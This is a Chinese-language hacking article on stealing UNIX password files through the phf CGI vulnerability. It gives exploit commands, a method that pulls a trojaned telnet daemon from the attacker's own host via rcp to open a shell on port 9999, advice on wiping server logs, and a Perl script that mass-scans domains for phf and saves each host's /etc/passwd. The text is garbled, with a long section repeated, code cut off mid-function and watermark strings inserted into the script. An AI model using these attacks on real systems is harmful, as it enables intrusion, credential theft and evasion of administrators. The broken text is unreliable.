從UNIX系統(tǒng)獲取密碼檔(一)
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:04:37 作者:佚名
我要評論

目錄:
PHF:WWW的PH查詢
PHF查詢攻擊新方法
從新手處獲取
獲取shadow密碼檔
獲取/etc/hosts檔
本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個(gè)
有效帳號;但也有不需帳號也可訪問系統(tǒng)的方法。在這里你還能知道完整
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用舉例:
bash% phf id xxx.org
------
Query Results
/usr/local/bin/ph -m alias=X
id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X id
------
以上是系統(tǒng)對程序的響應(yīng)。再說一次,使用 代替命令行中的空格符。
使用如下格式可顯示passwd檔:
phf cat /etc/passwd hostname.xxx
另外,Quantumg在他的主頁上提供了利用phf的新方法,我覺得有必要讓大家
了解一下。
內(nèi)容如下:
--------------------------------------------------------------------------------
Phf 查詢攻擊新方法
是的。我知道phf攻擊已經(jīng)是眾所周知了,但你會奇怪為什么還有那么多笨的
LINUX用戶。。。
首先...先介紹一下背景:
phf是Apache上WWW服務(wù)器的cgi-bin命令。它存在缺陷,其后果是允許任何人以運(yùn)行
http服務(wù)器用戶的身份執(zhí)行命令。通常該用戶是nobody,但有時(shí)是root。要利用這一
缺陷,只需簡單地連接了該WEB服務(wù)器,并執(zhí)行以下查詢:
GET /cgi-bin/phf/?Qalias=X
其后跟著你所希望運(yùn)行的命令(用 代替空格符)。
OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務(wù)器。(我
經(jīng)常telnet到issue.net查找。)和大多數(shù)人一樣,我使用Loxsmith編寫的phf程序。
該程序要求把目標(biāo)主機(jī)名放在第二個(gè)參數(shù),而所要執(zhí)行的命令放在第一個(gè)參數(shù):
phf id www.host.to.hack
這里id就是所要執(zhí)行的命令,這往往是我第一步都會做的。因?yàn)樗粌H告訴你此
系統(tǒng)是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個(gè)理想
的響應(yīng),那就意味它就是我們的目標(biāo)了。第一件事是獲取目標(biāo)主機(jī)上的有用資料,
這并不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp
(這是我最喜歡用的)。為了使用這個(gè)命令,你需要對本地主機(jī)進(jìn)行設(shè)置。(如果
本地主機(jī)是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號,名字應(yīng)該
簡單而不易被注意(如:test);其次,把目標(biāo)主機(jī)名寫入本地主機(jī)的/etc/host.equiv
中;接著就是在/etc/inetd.conf中必須有shell行;最后,在用戶(test)根目錄下建立
含有目標(biāo)主機(jī)名和httpd用戶的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都設(shè)置好了,便可以從遠(yuǎn)程主機(jī)上獲取資料了。
我以前采用的hack方法,都是將經(jīng)過多次修改的小hack代碼傳送給phf執(zhí)行。
這并是一件輕松的事情,而且效率也不高?,F(xiàn)在我找到了一個(gè)更好的解決辦法
被傳送的是一個(gè)經(jīng)過修改的in.telnetd,它被改為在“debug”方式下啟動,“debug”
方式將允許從端口9999登錄,而且執(zhí)行的shell是/bin/sh,而不是/bin/login。
該in.telnetd允許在端口9999接受任意多的連接和執(zhí)行shell。
因而,為了使遠(yuǎn)程主機(jī)做到這一點(diǎn),所要做的就是將其放入用戶根目錄,
并確??勺x。然后執(zhí)行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你會看到一個(gè)與in.rshd的連接和它所執(zhí)行的命令(如:
rcp -f bindwarez)...當(dāng)phf執(zhí)行完后,bindwarez會被復(fù)制到遠(yuǎn)程主機(jī)上的/tmp
目錄下,于是你便可以執(zhí)行這個(gè)文件并遠(yuǎn)程登錄到端口9999。
如果這個(gè)網(wǎng)站的用戶笨到以root運(yùn)行http,你就可以通過安裝一個(gè)in.telnetd
特洛木馬并清除日志,以獲得root用戶的密碼。然而,在大多數(shù)情況下,你只能
獲得nobody權(quán)限,需要通過系統(tǒng)的其它漏洞去“黑”root用戶。我常常發(fā)現(xiàn)這并不
困難,因?yàn)橄到y(tǒng)管理員往往認(rèn)為沒有人會在WWW服務(wù)器上運(yùn)行shell,因而沒有必要
設(shè)置安全系統(tǒng)。很顯示,他們并不了解自己的系統(tǒng)是否存在phf缺陷。
在這里,我不必再次強(qiáng)調(diào)清除日志的重要性。你在rcp命令中輸入的地址是可以讓
系統(tǒng)管理員輕易發(fā)現(xiàn)的。這些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最簡單的方法是在這些路徑上查找它。如果找不到,可以執(zhí)行find / -name cgi-bin。
另外,不要忘記清除indwarez進(jìn)程和刪除/tmp/bindwarez文件。
這個(gè)非常巧妙的攻擊方法讓phf做你想做的事,而phf對此卻無可奈何。 ;-))
L8s
QuantumG
另一個(gè)利用phf的方法就是執(zhí)行以下腳本。它使用了從rs.internic.net下載并用
getdomain.pl分析出的域名文件。geturl.pl腳本可以探測網(wǎng)絡(luò)上的每一臺domain。
腳本內(nèi)容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x /usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?Qalias=x /usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("?用戶名:@HackBase.net密?碼:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">$.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("?用戶名:@HackBase.net密?碼:
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用舉例:
bash% phf id xxx.org
------
Query Results
/usr/local/bin/ph -m alias=X
id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X id
------
以上是系統(tǒng)對程序的響應(yīng)。再說一次,使用 代替命令行中的空格符。
使用如下格式可顯示passwd檔:
phf cat /etc/passwd hostname.xxx
另外,Quantumg在他的主頁上提供了利用phf的新方法,我覺得有必要讓大家
了解一下。
內(nèi)容如下:
--------------------------------------------------------------------------------
Phf 查詢攻擊新方法
是的。我知道phf攻擊已經(jīng)是眾所周知了,但你會奇怪為什么還有那么多笨的
LINUX用戶。。。
首先...先介紹一下背景:
phf是Apache上WWW服務(wù)器的cgi-bin命令。它存在缺陷,其后果是允許任何人以運(yùn)行
http服務(wù)器用戶的身份執(zhí)行命令。通常該用戶是nobody,但有時(shí)是root。要利用這一
缺陷,只需簡單地連接了該WEB服務(wù)器,并執(zhí)行以下查詢:
GET /cgi-bin/phf/?Qalias=X
其后跟著你所希望運(yùn)行的命令(用 代替空格符)。
OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務(wù)器。(我
經(jīng)常telnet到issue.net查找。)和大多數(shù)人一樣,我使用Loxsmith編寫的phf程序。
該程序要求把目標(biāo)主機(jī)名放在第二個(gè)參數(shù),而所要執(zhí)行的命令放在第一個(gè)參數(shù):
phf id www.host.to.hack
這里id就是所要執(zhí)行的命令,這往往是我第一步都會做的。因?yàn)樗粌H告訴你此
系統(tǒng)是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個(gè)理想
的響應(yīng),那就意味它就是我們的目標(biāo)了。第一件事是獲取目標(biāo)主機(jī)上的有用資料,
這并不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp
(這是我最喜歡用的)。為了使用這個(gè)命令,你需要對本地主機(jī)進(jìn)行設(shè)置。(如果
本地主機(jī)是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號,名字應(yīng)該
簡單而不易被注意(如:test);其次,把目標(biāo)主機(jī)名寫入本地主機(jī)的/etc/host.equiv
中;接著就是在/etc/inetd.conf中必須有shell行;最后,在用戶(test)根目錄下建立
含有目標(biāo)主機(jī)名和httpd用戶的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都設(shè)置好了,便可以從遠(yuǎn)程主機(jī)上獲取資料了。
我以前采用的hack方法,都是將經(jīng)過多次修改的小hack代碼傳送給phf執(zhí)行。
這并是一件輕松的事情,而且效率也不高?,F(xiàn)在我找到了一個(gè)更好的解決辦法
被傳送的是一個(gè)經(jīng)過修改的in.telnetd,它被改為在“debug”方式下啟動,“debug”
方式將允許從端口9999登錄,而且執(zhí)行的shell是/bin/sh,而不是/bin/login。
該in.telnetd允許在端口9999接受任意多的連接和執(zhí)行shell。
因而,為了使遠(yuǎn)程主機(jī)做到這一點(diǎn),所要做的就是將其放入用戶根目錄,
并確??勺x。然后執(zhí)行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你會看到一個(gè)與in.rshd的連接和它所執(zhí)行的命令(如:
rcp -f bindwarez)...當(dāng)phf執(zhí)行完后,bindwarez會被復(fù)制到遠(yuǎn)程主機(jī)上的/tmp
目錄下,于是你便可以執(zhí)行這個(gè)文件并遠(yuǎn)程登錄到端口9999。
如果這個(gè)網(wǎng)站的用戶笨到以root運(yùn)行http,你就可以通過安裝一個(gè)in.telnetd
特洛木馬并清除日志,以獲得root用戶的密碼。然而,在大多數(shù)情況下,你只能
獲得nobody權(quán)限,需要通過系統(tǒng)的其它漏洞去“黑”root用戶。我常常發(fā)現(xiàn)這并不
困難,因?yàn)橄到y(tǒng)管理員往往認(rèn)為沒有人會在WWW服務(wù)器上運(yùn)行shell,因而沒有必要
設(shè)置安全系統(tǒng)。很顯示,他們并不了解自己的系統(tǒng)是否存在phf缺陷。
在這里,我不必再次強(qiáng)調(diào)清除日志的重要性。你在rcp命令中輸入的地址是可以讓
系統(tǒng)管理員輕易發(fā)現(xiàn)的。這些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最簡單的方法是在這些路徑上查找它。如果找不到,可以執(zhí)行find / -name cgi-bin。
另外,不要忘記清除indwarez進(jìn)程和刪除/tmp/bindwarez文件。
這個(gè)非常巧妙的攻擊方法讓phf做你想做的事,而phf對此卻無可奈何。 ;-))
L8s
QuantumG
另一個(gè)利用phf的方法就是執(zhí)行以下腳本。它使用了從rs.internic.net下載并用
getdomain.pl分析出的域名文件。geturl.pl腳本可以探測網(wǎng)絡(luò)上的每一臺domain。
腳本內(nèi)容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x /usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?Qalias=x /usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("?用戶名:@HackBase.net密?碼:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">$.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("?用戶名:@HackBase.net密?碼:
相關(guān)文章
- “CMOS密碼”就是通常所說的“開機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時(shí)會采用 Windows 自帶的 BitLocker 加密工具對電腦磁盤分區(qū)進(jìn)行加密。但有些人加密后就會忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買臺量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會通過它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19- 本文討論了針對Linux系統(tǒng)全盤加密的冷啟動攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28
防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問題。其實(shí),針對內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17